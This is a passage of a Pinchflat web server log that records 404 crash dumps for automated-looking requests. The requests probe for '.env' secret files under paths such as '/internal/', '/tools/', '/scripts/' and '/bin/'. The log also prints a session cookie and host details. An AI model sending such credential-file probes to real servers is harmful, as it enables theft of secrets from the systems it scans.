PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/internal/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6l7NMd3U94EAARrB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/internal/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 108, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /internal/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/internal/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 108, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:16.413 [info] GET /tools/.env 02:10:16.414 [debug] QUERY OK source="settings" db=0.2ms idle=190.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.414 [debug] QUERY OK source="settings" db=0.1ms idle=133.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.414 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:16.414 [error] #PID<0.3413.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 109) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /tools/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /tools/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tools/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 109, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3413.0>, params: %{}, path_info: ["tools", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/tools/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6mJb45Z0UEMAARsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tools/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 109, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /tools/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tools/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 109, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:16.492 [info] GET /scripts/.env 02:10:16.493 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=211.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.494 [debug] QUERY OK source="settings" db=0.3ms idle=139.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.494 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:16.494 [error] #PID<0.3414.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 110) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /scripts/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /scripts/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/scripts/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 110, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3414.0>, params: %{}, path_info: ["scripts", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/scripts/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6mcPKBi0wM0AARtB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/scripts/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 110, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /scripts/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/scripts/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 110, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:16.564 [info] GET /bin/.env 02:10:16.565 [debug] QUERY OK source="settings" db=0.5ms idle=210.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.566 [debug] QUERY OK source="settings" db=0.2ms idle=152.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.566 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:16.567 [error] #PID<0.3415.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 111) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /bin/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bin/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 111, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3415.0>, params: %{}, path_info: ["bin", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/bin/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6mtgjHa9zK4AARuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bin/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) 